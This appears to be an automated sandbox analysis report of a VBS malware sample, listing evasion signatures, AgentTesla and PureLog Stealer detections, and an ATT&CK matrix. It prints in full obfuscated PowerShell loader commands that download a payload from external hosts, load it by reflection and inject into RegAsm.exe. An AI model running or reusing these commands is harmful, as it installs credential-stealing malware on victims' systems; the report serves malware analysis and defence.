Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 3776, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: powershell.exe, 00000004.00000002.1572696203.000001A05D8A9000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 4_2_00007FFB4B2B9E79 sldt word ptr fs:[eax]

4_2_00007FFB4B2B9E79

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1615	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1626	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3460	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6375	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1012	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6776	Thread sleep count: 3460 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7032	Thread sleep count: 6375 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6788	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: powershell.exe, 00000004.00000002.1572696203.000001A05D8A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: powershell.exe, 00000004.00000002.1572696203.000001A05D8A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMwareVBoxESelect * from Win32_ComputerSystem
Source: powershell.exe, 00000004.00000002.1594074880.000001A064A98000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW3018%SystemRoot%\system32\mswsock.dll0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoIChbU1RySW5HXSR2RVJib1NFUHJFZmVSRU5DRSlbMSwzXSsneCctam9JbicnKSggKCdETCcrJ2p1cmwnKycgPScrJyBGeUwnKydodHRwczonKycvL2lhNicrJzAwJysnMTAnKycwJysnLnVzLmFyY2hpdmUub3JnJysnLzInKyc0JysnL2l0ZW1zL2RlJysndGFoLW5vdGUtdi9EZXQnKydhJysnaE5vdGUnKydWJysnLnR4dCcrJ0Z5TDtETGpiJysnYXNlNicrJzRDb250ZW4nKyd0ID0nKycgJysnKCcrJ05ldy1PYmplY3QgJysnU3lzJysndGVtJysnLk5ldC4nKydXZScrJ2JDbGknKydlJysnbnQnKycpLkRvJysndycrJ24nKydsbycrJ2FkU3RyJysnaW5nKERMaicrJ3VybCk7JysnRExqYicrJ2luYScrJ3J5Q29udGVudCAnKyc9IFtTeXMnKyd0ZW0uQ29udmVydF06JysnOkYnKydyb21CYXNlNjRTdHInKydpbicrJ2coRCcrJ0xqJysnYmEnKydzZTY0Q29udGVudCknKyc7REwnKydqYXMnKydzZScrJ20nKydibHkgPSBbJysnUmVmbGVjJysndCcrJ2knKydvbicrJy5BJysncycrJ3NlbScrJ2JsJysneScrJ10nKyc6OkwnKydvJysnYWQoRCcrJ0xqYmluYXInKyd5Q29uJysndGVudCcrJyk7RExqdCcrJ3knKydwJysnZSA9IERMamFzcycrJ2VtYmx5LkdldFQnKyd5cGUnKycoRnlMUnVuUEUnKycuSG8nKydtJysnZUZ5TCk7RExqJysnbScrJ2UnKyd0aG8nKydkID0gJysnRExqJysndCcrJ3knKydwZScrJy4nKydHZScrJ3RNJysnZXRob2QoJysnRnlMVkFJRnlMKTtEJysnTGptZXRob2QnKycuSW4nKyd2b2tlKERMJysnam51bGwsIFtvYmplY3RbXV1AKEZ5JysnTHR4dC5pbGltbScrJy92ZWQnKycuMnIuMzliMzQ1MzAnKycyYTA3NScrJ2IxYmMnKycwJysnZDQnKyc1YjYzJysnMmViOWVlNjItYnVwJysnLy86cycrJ3B0JysndCcrJ2gnKydGJysneUwgJysnLCBGeUwnKydkZXNhdGl2YWQnKydvRnknKydMICwnKycgRicrJ3lMZGVzYXRpdmEnKydkb0Z5TCcrJyAsIEYnKyd5TGRlcycrJ2F0aScrJ3ZhZG9GJysneScrJ0wsJysnRnknKydMUmVnQXNtRnlMLEZ5JysnTEZ5TCkpJykucmVQbEFDRSgnRExqJywnJCcpLnJlUGxBQ0UoJ0Z5TCcsW1N0UmluZ11bQ0hhcl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoIChbU1RySW5HXSR2RVJib1NFUHJFZmVSRU5DRSlbMSwzXSsneCctam9JbicnKSggKCdETCcrJ2p1cmwnKycgPScrJyBGeUwnKydodHRwczonKycvL2lhNicrJzAwJysnMTAnKycwJysnLnVzLmFyY2hpdmUub3JnJysnLzInKyc0JysnL2l0ZW1zL2RlJysndGFoLW5vdGUtdi9EZXQnKydhJysnaE5vdGUnKydWJysnLnR4dCcrJ0Z5TDtETGpiJysnYXNlNicrJzRDb250ZW4nKyd0ID0nKycgJysnKCcrJ05ldy1PYmplY3QgJysnU3lzJysndGVtJysnLk5ldC4nKydXZScrJ2JDbGknKydlJysnbnQnKycpLkRvJysndycrJ24nKydsbycrJ2FkU3RyJysnaW5nKERMaicrJ3VybCk7JysnRExqYicrJ2luYScrJ3J5Q29udGVudCAnKyc9IFtTeXMnKyd0ZW0uQ29udmVydF06JysnOkYnKydyb21CYXNlNjRTdHInKydpbicrJ2coRCcrJ0xqJysnYmEnKydzZTY0Q29udGVudCknKyc7REwnKydqYXMnKydzZScrJ20nKydibHkgPSBbJysnUmVmbGVjJysndCcrJ2knKydvbicrJy5BJysncycrJ3NlbScrJ2JsJysneScrJ10nKyc6OkwnKydvJysnYWQoRCcrJ0xqYmluYXInKyd5Q29uJysndGVudCcrJyk7RExqdCcrJ3knKydwJysnZSA9IERMamFzcycrJ2VtYmx5LkdldFQnKyd5cGUnKycoRnlMUnVuUEUnKycuSG8nKydtJysnZUZ5TCk7RExqJysnbScrJ2UnKyd0aG8nKydkID0gJysnRExqJysndCcrJ3knKydwZScrJy4nKydHZScrJ3RNJysnZXRob2QoJysnRnlMVkFJRnlMKTtEJysnTGptZXRob2QnKycuSW4nKyd2b2tlKERMJysnam51bGwsIFtvYmplY3RbXV1AKEZ5JysnTHR4dC5pbGltbScrJy92ZWQnKycuMnIuMzliMzQ1MzAnKycyYTA3NScrJ2IxYmMnKycwJysnZDQnKyc1YjYzJysnMmViOWVlNjItYnVwJysnLy86cycrJ3B0JysndCcrJ2gnKydGJysneUwgJysnLCBGeUwnKydkZXNhdGl2YWQnKydvRnknKydMICwnKycgRicrJ3lMZGVzYXRpdmEnKydkb0Z5TCcrJyAsIEYnKyd5TGRlcycrJ2F0aScrJ3ZhZG9GJysneScrJ0wsJysnRnknKydMUmVnQXNtRnlMLEZ5JysnTEZ5TCkpJykucmVQbEFDRSgnRExqJywnJCcpLnJlUGxBQ0UoJ0Z5TCcsW1N0UmluZ11bQ0hhcl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( ([STrInG]$vERboSEPrEfeRENCE)[1,3]+'x'-joIn'')( ('DL'+'jurl'+' ='+' FyL'+'https:'+'//ia6'+'00'+'10'+'0'+'.us.archive.org'+'/2'+'4'+'/items/de'+'tah-note-v/Det'+'a'+'hNote'+'V'+'.txt'+'FyL;DLjb'+'ase6'+'4Conten'+'t ='+' '+'('+'New-Object '+'Sys'+'tem'+'.Net.'+'We'+'bCli'+'e'+'nt'+').Do'+'w'+'n'+'lo'+'adStr'+'ing(DLj'+'url);'+'DLjb'+'ina'+'ryContent '+'= [Sys'+'tem.Convert]:'+':F'+'romBase64Str'+'in'+'g(D'+'Lj'+'ba'+'se64Content)'+';DL'+'jas'+'se'+'m'+'bly = ['+'Reflec'+'t'+'i'+'on'+'.A'+'s'+'sem'+'bl'+'y'+']'+'::L'+'o'+'ad(D'+'Ljbinar'+'yCon'+'tent'+');DLjt'+'y'+'p'+'e = DLjass'+'embly.GetT'+'ype'+'(FyLRunPE'+'.Ho'+'m'+'eFyL);DLj'+'m'+'e'+'tho'+'d = '+'DLj'+'t'+'y'+'pe'+'.'+'Ge'+'tM'+'ethod('+'FyLVAIFyL);D'+'Ljmethod'+'.In'+'voke(DL'+'jnull, [object[]]@(Fy'+'Ltxt.ilimm'+'/ved'+'.2r.39b34530'+'2a075'+'b1bc'+'0'+'d4'+'5b63'+'2eb9ee62-bup'+'//:s'+'pt'+'t'+'h'+'F'+'yL '+', FyL'+'desativad'+'oFy'+'L ,'+' F'+'yLdesativa'+'doFyL'+' , F'+'yLdes'+'ati'+'vadoF'+'y'+'L,'+'Fy'+'LRegAsmFyL,Fy'+'LFyL))').rePlACE('DLj','$').rePlACE('FyL',[StRing][CHar]39) )"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'liaoichbu1rysw5hxsr2rvjib1nfuhjfzmvsru5drslbmswzxssnecctam9jbicnksggkcdetccrj2p1cmwnkycgpscrjybgeuwnkydodhrwczonkycvl2lhnicrjzawjysnmtankycwjysnlnvzlmfyy2hpdmuub3jnjysnlzinkyc0jysnl2l0zw1zl2rljysndgfolw5vdgutdi9ezxqnkydhjysnae5vdgunkydwjysnlnr4dccrj0z5tdtetgpijysnyxnlnicrjzrdb250zw4nkyd0id0nkycgjysnkccrj05ldy1pymply3qgjysnu3lzjysndgvtjysnlk5ldc4nkydxzscrj2jdbgknkydljysnbnqnkycplkrvjysndycrj24nkydsbycrj2fku3ryjysnaw5nkermaicrj3vybck7jysnrexqyicrj2luyscrj3j5q29udgvudcankyc9ifttexmnkyd0zw0uq29udmvydf06jysnokynkydyb21cyxnlnjrtdhinkydpbicrj2corccrj0xqjysnymenkydzzty0q29udgvudcknkyc7rewnkydqyxmnkydzzscrj20nkydibhkgpsbbjysnumvmbgvjjysndccrj2knkydvbicrjy5bjysncycrj3nlbscrj2jsjysnescrj10nkyc6okwnkydvjysnywqorccrj0xqymluyxinkyd5q29ujysndgvudccrjyk7rexqdccrj3knkydwjysnzsa9iermamfzcycrj2vtymx5lkdldfqnkyd5cgunkycornlmunvuueunkycusg8nkydtjysnzuz5tck7rexqjysnbscrj2unkyd0ag8nkydkid0gjysnrexqjysndccrj3knkydwzscrjy4nkydhzscrj3rnjysnzxrob2qojysnrnlmvkfjrnlmkttejysntgptzxrob2qnkycusw4nkyd2b2tlkermjysnam51bgwsiftvymply3rbxv1akez5jysnthr4dc5pbgltbscrjy92zwqnkycumniumzlimzq1mzankycyyta3nscrj2ixymmnkycwjysnzdqnkyc1yjyzjysnmmviowvlnjitynvwjysnly86cycrj3b0jysndccrj2gnkydgjysneuwgjysnlcbgeuwnkydkzxnhdgl2ywqnkydvrnknkydmicwnkycgricrj3lmzgvzyxrpdmenkydkb0z5tccrjyasieynkyd5tgrlcycrj2f0ascrj3zhzg9gjysnescrj0wsjysnrnknkydmumvnqxntrnlmlez5jysntez5tckpjykucmvqbefdrsgnrexqjywnjccplnjlugxbq0uoj0z5tccsw1n0umluz11bq0hhcl0zoskgkq==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command ". ( ([string]$verbosepreference)[1,3]+'x'-join'')( ('dl'+'jurl'+' ='+' fyl'+'https:'+'//ia6'+'00'+'10'+'0'+'.us.archive.org'+'/2'+'4'+'/items/de'+'tah-note-v/det'+'a'+'hnote'+'v'+'.txt'+'fyl;dljb'+'ase6'+'4conten'+'t ='+' '+'('+'new-object '+'sys'+'tem'+'.net.'+'we'+'bcli'+'e'+'nt'+').do'+'w'+'n'+'lo'+'adstr'+'ing(dlj'+'url);'+'dljb'+'ina'+'rycontent '+'= [sys'+'tem.convert]:'+':f'+'rombase64str'+'in'+'g(d'+'lj'+'ba'+'se64content)'+';dl'+'jas'+'se'+'m'+'bly = ['+'reflec'+'t'+'i'+'on'+'.a'+'s'+'sem'+'bl'+'y'+']'+'::l'+'o'+'ad(d'+'ljbinar'+'ycon'+'tent'+');dljt'+'y'+'p'+'e = dljass'+'embly.gett'+'ype'+'(fylrunpe'+'.ho'+'m'+'efyl);dlj'+'m'+'e'+'tho'+'d = '+'dlj'+'t'+'y'+'pe'+'.'+'ge'+'tm'+'ethod('+'fylvaifyl);d'+'ljmethod'+'.in'+'voke(dl'+'jnull, [object[]]@(fy'+'ltxt.ilimm'+'/ved'+'.2r.39b34530'+'2a075'+'b1bc'+'0'+'d4'+'5b63'+'2eb9ee62-bup'+'//:s'+'pt'+'t'+'h'+'f'+'yl '+', fyl'+'desativad'+'ofy'+'l ,'+' f'+'yldesativa'+'dofyl'+' , f'+'yldes'+'ati'+'vadof'+'y'+'l,'+'fy'+'lregasmfyl,fy'+'lfyl))').replace('dlj','$').replace('fyl',[string][char]39) )"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'liaoichbu1rysw5hxsr2rvjib1nfuhjfzmvsru5drslbmswzxssnecctam9jbicnksggkcdetccrj2p1cmwnkycgpscrjybgeuwnkydodhrwczonkycvl2lhnicrjzawjysnmtankycwjysnlnvzlmfyy2hpdmuub3jnjysnlzinkyc0jysnl2l0zw1zl2rljysndgfolw5vdgutdi9ezxqnkydhjysnae5vdgunkydwjysnlnr4dccrj0z5tdtetgpijysnyxnlnicrjzrdb250zw4nkyd0id0nkycgjysnkccrj05ldy1pymply3qgjysnu3lzjysndgvtjysnlk5ldc4nkydxzscrj2jdbgknkydljysnbnqnkycplkrvjysndycrj24nkydsbycrj2fku3ryjysnaw5nkermaicrj3vybck7jysnrexqyicrj2luyscrj3j5q29udgvudcankyc9ifttexmnkyd0zw0uq29udmvydf06jysnokynkydyb21cyxnlnjrtdhinkydpbicrj2corccrj0xqjysnymenkydzzty0q29udgvudcknkyc7rewnkydqyxmnkydzzscrj20nkydibhkgpsbbjysnumvmbgvjjysndccrj2knkydvbicrjy5bjysncycrj3nlbscrj2jsjysnescrj10nkyc6okwnkydvjysnywqorccrj0xqymluyxinkyd5q29ujysndgvudccrjyk7rexqdccrj3knkydwjysnzsa9iermamfzcycrj2vtymx5lkdldfqnkyd5cgunkycornlmunvuueunkycusg8nkydtjysnzuz5tck7rexqjysnbscrj2unkyd0ag8nkydkid0gjysnrexqjysndccrj3knkydwzscrjy4nkydhzscrj3rnjysnzxrob2qojysnrnlmvkfjrnlmkttejysntgptzxrob2qnkycusw4nkyd2b2tlkermjysnam51bgwsiftvymply3rbxv1akez5jysnthr4dc5pbgltbscrjy92zwqnkycumniumzlimzq1mzankycyyta3nscrj2ixymmnkycwjysnzdqnkyc1yjyzjysnmmviowvlnjitynvwjysnly86cycrj3b0jysndccrj2gnkydgjysneuwgjysnlcbgeuwnkydkzxnhdgl2ywqnkydvrnknkydmicwnkycgricrj3lmzgvzyxrpdmenkydkb0z5tccrjyasieynkyd5tgrlcycrj2f0ascrj3zhzg9gjysnescrj0wsjysnrnknkydmumvnqxntrnlmlez5jysntez5tckpjykucmvqbefdrsgnrexqjywnjccplnjlugxbq0uoj0z5tccsw1n0umluz11bq0hhcl0zoskgkq==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command ". ( ([string]$verbosepreference)[1,3]+'x'-join'')( ('dl'+'jurl'+' ='+' fyl'+'https:'+'//ia6'+'00'+'10'+'0'+'.us.archive.org'+'/2'+'4'+'/items/de'+'tah-note-v/det'+'a'+'hnote'+'v'+'.txt'+'fyl;dljb'+'ase6'+'4conten'+'t ='+' '+'('+'new-object '+'sys'+'tem'+'.net.'+'we'+'bcli'+'e'+'nt'+').do'+'w'+'n'+'lo'+'adstr'+'ing(dlj'+'url);'+'dljb'+'ina'+'rycontent '+'= [sys'+'tem.convert]:'+':f'+'rombase64str'+'in'+'g(d'+'lj'+'ba'+'se64content)'+';dl'+'jas'+'se'+'m'+'bly = ['+'reflec'+'t'+'i'+'on'+'.a'+'s'+'sem'+'bl'+'y'+']'+'::l'+'o'+'ad(d'+'ljbinar'+'ycon'+'tent'+');dljt'+'y'+'p'+'e = dljass'+'embly.gett'+'ype'+'(fylrunpe'+'.ho'+'m'+'efyl);dlj'+'m'+'e'+'tho'+'d = '+'dlj'+'t'+'y'+'pe'+'.'+'ge'+'tm'+'ethod('+'fylvaifyl);d'+'ljmethod'+'.in'+'voke(dl'+'jnull, [object[]]@(fy'+'ltxt.ilimm'+'/ved'+'.2r.39b34530'+'2a075'+'b1bc'+'0'+'d4'+'5b63'+'2eb9ee62-bup'+'//:s'+'pt'+'t'+'h'+'f'+'yl '+', fyl'+'desativad'+'ofy'+'l ,'+' f'+'yldesativa'+'dofyl'+' , f'+'yldes'+'ati'+'vadof'+'y'+'l,'+'fy'+'lregasmfyl,fy'+'lfyl))').replace('dlj','$').replace('fyl',[string][char]39) )"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 00000004.00000002.1572696203.000001A05D8A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3776, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 4.2.powershell.exe.1a05d6bd738.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1a064dd0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1a064dd0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1a05d6bd738.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1595867471.000001A064DD0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1572696203.000001A05CEA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: Yara match	File source: 00000004.00000002.1572696203.000001A05D8A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3776, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 00000004.00000002.1572696203.000001A05D8A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3776, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 4.2.powershell.exe.1a05d6bd738.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1a064dd0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1a064dd0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1a05d6bd738.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1595867471.000001A064DD0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1572696203.000001A05CEA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	11 Command and Scripting Interpreter	221 Scripting	11 Process Injection	31 Virtualization/Sandbox Evasion	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PofaABvatI.vbs	5%	ReversingLabs
PofaABvatI.vbs	8%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
ia600100.us.archive.org	0%	Virustotal		Browse
pub-26ee9be236b54d0cb1b570a203543b93.r2.dev	16%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
